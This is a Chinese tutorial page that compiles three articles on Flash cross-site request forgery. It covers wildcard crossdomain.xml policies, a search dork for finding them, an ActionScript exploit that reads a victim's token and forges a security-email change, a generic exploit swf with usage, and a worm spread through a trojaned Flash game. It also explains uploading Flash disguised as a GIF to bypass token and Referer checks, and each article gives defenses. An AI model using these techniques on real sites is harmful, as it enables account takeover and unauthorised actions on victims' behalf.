百分百源码网-让建站变得如此简单! 登录 注册 签到领金币!

主页 | 如何升级VIP | TAG标签

当前位置: 主页>网站教程>服务器> Flash CSRF 恶意利用攻击及防御
分享文章到:

Flash CSRF 恶意利用攻击及防御

发布时间:01/15 来源: 浏览: 关键词:
CSRF 是跨站请求伪造的简称,是一种依赖web浏览器的、被混淆过的代理人攻击。通常缩写为CSRF或者XSRF,SRF攻击往往不大流行和难以防范,本文我们来讲讲 Flash CSRF 恶意攻击的原理及如何防范。

Flash CSRF名词解释

CSRF(Cross-site request forgery跨站请求伪造,是一种对网站的恶意利用,CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。

Flash CSRF通常是由于Crossdomain.xml文件配置不当造成的,利用方法是使用swf来发起跨站请求伪造。

Flash CSRF形成的原因

看看如何寻找Flash CSRF:

首先我们要知道怎么形成CSRF的,CSRF形成的原因大概有以下几种:

Flash跨域权限管理文件Crossdomain.XML设置为允许所有主机/域名跨域对本站进行读写数据:

This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from domain=”*”/>
</cross-domain-policy>

Flash跨域权限管理文件过滤规则不严(domain=”*”),导致可以从其它任何域传Flash产生CSRF。

如何来发现哪些地方存在Flash CSRF

由上面我们得知Flash CSRF是因为跨域权限管理文件配置不当而产生的,所以我们可以在根目录打开Crossdomain.xml来查看该网站或者只域名是否存在FLAH的CSRF:

http://www.xxx.com/crossdomain.xml

This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from domain=”*”/>
</cross-domain-policy>

Flash CSRF可以干些什么

FlashCSRF漏洞查找流程:

Google hack:crossdomain filetype:xml

This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from domain=”*” secure=”true”/>
</cross-domain-policy>

Secure=true的意思是只允许通过安全链接来请求本域的数据<HTTPS>

发现前2个全都是需要用ssl证书加密了之后的网站里面的Flash的文件才能获取本域的内容,考虑可以自己搭建SSL网站,然后调用Flash文件进去不就可以读他们网站的数据和发送post请求,可以找了这么多地方Flash还没有地方可以插的,在不屑努力下,找到BLOG根目录下面的CrossDomain.xml文件居然允许所有主机的Flash读取本域的数据

Flash CSRF如何利用

找一个可以插入Flash的地方,插入自己写的Flash,访客访问网页就会执行我们写的脚本

下面来看看Flash CSRF具体利用方法:来制造一个访客访问我们链接的时候,自动设置自己的密保邮箱:

首先添加保密邮箱点提交,然后抓包分析它提交了什么内容,然后来构造我们的Flash CSRF利用代码<没有反CSRFToken>

1、申请保密邮箱,浏览器向服务端发送了一个POST请求,请求地址和参数为:

POST:xxx.xxx.xx/xx.jsp?userid=xxxx&mail=dddd@dddd.com

2、由于我们之前测试保密邮箱得知服务端没有验证Referer,但是页面验证了Token,所以我们就可以直接把POST数据包中的请求地址,参数名,参数值,Token值取出来用于伪造绑定保密邮箱的请求。

利用代码:

package {
import flash.display.Sprite;
import flash.events.Event;
import flash.net.*;
import flash.text.TextField;
public class url extends Sprite
{
public function url()
{
//获取当前页面userid/token
var echo_txt:TextField = new TextField();
var targetURL:String = “http://xx.xx.cc”;
var request:URLRequest = new URLRequest(targetURL);
request.method = URLRequestMethod.GET;
request.data = “”;
sendToURL(request);
var loader:URLLoader=new URLLoader();
loader.addEventListener(Event.COMPLETE,completeHandler);
function completeHandler(event:Event):void{
var userid:String=((loader.data+””).match(/\/xxxx\/mxxxx\.php\?xxid=(\d+)/)||[“”,””])[1];
var masthash:String=((loader.data+””).match(/\/xxxx\/mxxxx\.php\?masthash=(\d+)/)||[“”,””])[1];
echo_txt.text = masthash;
//伪造申请密保邮箱POST请求
var emailtargetURL:String = “http://xxxxxx.xx.cc/xxxx/xxxx.jsp?mark=send”;
var emailrequest:URLRequest = new URLRequest(emailtargetURL);
emailrequest.method = URLRequestMethod.POST;
var postdata:Object = new Array();
postdata[0]=”xxxx=xxxx@xxx.cc&xxxx=”+xxxxx&”xxxxx=”+xxx;
emailrequest.data = postdata[0];
sendToURL(emailrequest);
}
loader.load(request);
}
}
}

Flash CSRF怎么防御

一句话概括:站点根目录CrossDomain.xml跨域获取信息权限控制好,精确到子域,

附一份CrossDomain.xml文件权限配置:

<?xml version=”1.0″?>
<cross-domain-policy>
<allow-access-from domain=”http://xx.xx.com” secure=”true”/>
<allow-access-from domain=”http://cc.xx.com” secure=”true”/>
</cross-domain-policy>

根据自己的业务需求来更改CrossDomain.xml文件配置,切记精确到子域,这样会大大减少Flash CSRF的风险!

通用Flash CSRF EXP : FlashCSRFexp.swf

使用方法:<真实环境中只需要加载flash文件就会执行其中代码,不过需要改写swf文件>

FlashCSRFexp.swf?url=http://www.xx.xx/x.jsp?&xx=xx&xx=xx&xx=xx&xx=xx
PS:url=[post请求的地址]&[参数值用&分开]



科普 Flash CSRF攻击


2008年底,某个月黑风高的夜晚,当时中国第一个微博网站饭否(fanfou.com)正值风光,我对这个网站进行了一次授权安全测试,其中有个漏洞引起了我的思考:如何最大化利用,如何发起一次新颖的攻击。

这个漏洞是CSRF(Cross Site Request Forgery,即跨站请求伪造),这个在当时是普遍不能再普遍,渺小不能再渺小的漏洞。我知道利用这个漏洞可以让用户的权限被劫持,然后自动做些用户无法预知的“坏事”。

由于我比较擅长Flash,当年大学期间做过N个Flash小动画,Flash里的ActionScript脚本也是客户端脚本,同样可以做些坏事(不就是发出一些伪造的HTTP请求嘛?对于懂编程的人来说,太简单了),于是我就想到利用Flash为载体,来进行一个静悄悄的攻击:
我找了个开源的Flash小游戏(连连看);
修改了里面的ActionScript代码,植入会发起伪造HTTP请求的代码;

重新生成出这个邪恶的Flash;
发布到自己的网站上;
发了条微博:“终于编写了第一个flash游戏:连连看:),太不容易了- -...欢迎测试:http://xxxx.com/enjoy_flash_game.php?hi=yyyy”;
我的好友看到后,点击链接过去玩,他们会不会觉得还挺好玩的?哈哈;
玩的过程中,Flash里的ActionScript代码执行了,发起了跨站伪造的请求,这个请求会带上这些人的Cookies(关键点),那么这个请求对于饭否来说就是合法的了,于是成功完成了一些邪恶操作:他们都发了篇微博,内容一样,还发了私信给自己的好友;
于是传播开了……
月黑风高嘛,还能传播,这说明夜猫子是很多的:),12:00->12:30半小时的时间,传播的很猛,人群开始紧张了,有人开始骂了,有人开始分析了,有人开始质疑了……

互联网开始沸腾了,我满足了,撤下了这个邪恶的Flash小游戏,写了个安全评估报告给了饭否,然后写出了第一篇Paper(第二天从北京到了阿里巴巴,参加他们的第一届精武门安全会议(也是唯一的一届),那时还是刺当主持人呢,圈子各位名声大的黑客也来了),我的第一次演讲就献给了这个Flash CSRF蠕虫,这是一个内部会议,所以没人知道那时发生了什么,很久之后我才公开。

之后CSRF完成了很多经典的攻击,比如直接打后台权限、搞下Gmail、银行网站等。CSRF的防御开始在那些开源Web应用中得到普及,各大互联网(具备SNS性质的)都开始注意到CSRF带来的恶意攻击,曾经人人网的一个链接就能摧毁一个人的所有日志,一个链接就能搞定一个站长的网站后台,黑客的手上拥有多大的权限……

爱因斯坦是最大的黑客
IC(知道创宇CEO)经常和我们说爱因斯坦的一句名言:“世界不是因为那些破坏者而变得危险,而是因为看着他们破坏而无动于衷的人而变得危险。” www.2cto.com 他说:“爱因斯坦才是最大的黑客!”

我们这些年尝试向Web应用厂商与站长去说明CSRF的危害可以如何的大,但,我们发现他们刚开始都无动于衷……这个在预料之内的(想想别人给我们“盛气凌人”的建议时?),基本都是出了安全问题才开始警惕,所以我们认为“通过无危害安全评估,证明出这个漏洞足够大的危害后,他们才会被触动;如果发生了有危害的黑客事件后,他们会立马行动。”


一份统计

我们的网站体检中心对导致Flash CSRF漏洞的原因之一(网站根目录下是否有crossdomain.xml且这个xml的allow-access-from是否为通配符,通配符表示任意域可以跨域获取本域的隐私数据)进行了统计,统计样本是hao123上那些热门的网站:7709个。


发现,18%的网站有这个crossdomain.xml,这其中有61%存在Flash CSRF漏洞。


注意下:前面说了crossdomain.xml配置不安全会导致任意域可以跨域获取本域的隐私数据,注意是读取,如果要跨域发送POST请求,还得看目标表单是否做了Token防御或验证码防御,是否判断了请求来源(比如只有本域内发起的POST请求才合法)。


防御
这个Flash CSRF的防御很简单:
1. crossdomain.xml的安全配置可以参考,指定好信任的域:
http://weibo.com/crossdomain.xml;
2. 注意:Discuz!安装后网站根目录下的这个文件,默认是不安全的,比如:http://bbs.uc.cn/crossdomain.xml;


答应开源的一个Flash安全测试小工具在这:https://github.com/evilcos/xss.swf,怎么使用自己看了:)

我们会持续性的进行安全科普,大家有什么问题可以在微信里给我们留言,我们会认真对待每份留言,并在下次发文时进行必要的解答。如果大家有什么安全八卦也欢迎投稿给我们。


科普改变世界,我们一起努力让这个互联网更好更安全吧!




Flash+Upload Csrf 攻击技术

Csrf的攻防技术都是比较成熟了的,如我在2008年写的文章《Bypass Preventing CSRF》http://www.xfocus.net/articles/200801/964.html ,目前对于国内的很多应用程序及SNS网站对于防御csrf多半使用的是token+Referer组合防御,然而对于flash而言在bypass这样的防御有着先天的优势。

一、Flash的调用及域

1、html调用flash,flash可以改后缀名。
2、flash可以单独访问,但是其效果类似与html调用同域的flash,但只这个后缀必须是swf。
3、flash发动请求时,是根据flash的域来判断的,而不是html来判断:
a、flash请求同域资源时,直接忽视crossdomain.xml。
b、flash请求外域资源时,受外域下crossdomain.xml里的策略限制。

二、flash的调用与Referer

html调用外域的flash时,flash发送的请求的Referer是flash的,而不是html的。[不包括多个flash互相load的场景]

三、Csrf攻击场景及方式

1、crossdomain.xml设置导致的csrf。

很多的网站及应用程序[如Discuz!],默认把crossdomain.xml设置如下:

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

这样直接通过外域的flash读取被攻击域的内容,报告防御csrf的关键tonken。

2、上传功能导致的csrf。

在上面我们提到了html调用flash的时候,是可以修改后缀的。所以我们可以提供把flash后缀改为图片的后缀如gif来上传到被攻击域[另外这里一点php里的getimagesize()是支持flash文件的http://cn2.php.net/manual/zh/function.getimagesize.php],然后根据“flash发动请求时,是根据flash的域来判断的,而不是html来判断”因为已经把flash后缀为gif上传到被攻击域,那么就是说目前完全符合“a、flash请求同域资源时,直接忽视crossdomain.xml”的情况。

另外根据“flash发送的请求的Referer是flash的,而不是html的”,所以在这种场景下,token+Referer判断的方式,基本可以无视了。

四、实际应用

参考《Discuz! Flash Csrf Vulnerability》

其实通过上传功能来实现flash csrf攻击案例,早在2008年80vul开展的项目SODB里就有http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt,只所以还要有今天的文章,主要是对一些细节强调不够,导致很多人的理解偏差,如在sodb-2008-03里我对上传文件的利用只是为了简单的绕过Referer判断来完成的,而忽视了“flash请求同域资源时,直接忽视crossdomain.xml”的请求,这个对于防御的意义还是很大的,因为你即使删除了crossdomain.xml文件,也不能完全防御flash csrf攻击。

五、防御方案

这里只针对上传功能场景下的攻击防御。

1、《代码与数据分离是安全设计的重要原则》by 刺
也就是严格把上传文件存放的域与web代码域分离,这个比较适合大企业及应用的部署。
2、加强对上传文件的判断,比如通过文件头来判断上传是不是flash文件,来禁止上传flash文件。
3、加强Referer的处理,因为flash发起的请求的Referer是flash文件的,也就是说你把flash改为gif文件通过html调用,发起的请求了Referer是这个已经改为gif的flash的url如:

http://127.0.0.1/Discuz_X2.5_SC_UTF8/upload/data/attachment/forum/201208/06/1004333ntvhrv8vvy8lrc4.gif

POST http://127.0.0.1/Discuz_X2.5_SC_UTF8/upload/admin.php?action=members&operation=add HTTP/1.1
Host: 127.0.0.1
....
Referer: http://127.0.0.1/Discuz_X2.5_SC_UTF8/upload/data/attachment/forum/201208/06/1004333ntvhrv8vvy8lrc4.gif
....

那么我通过识别Referer里这些类似的不常见的文件类型来防御。

打赏

打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

百分百源码网 建议打赏1~10元,土豪随意,感谢您的阅读!

共有9人阅读,期待你的评论!发表评论
昵称: 网址: 验证码: 点击我更换图片
最新评论

本文标签

广告赞助

能出一分力是一分吧!

订阅获得更多模板

本文标签

广告赞助

订阅获得更多模板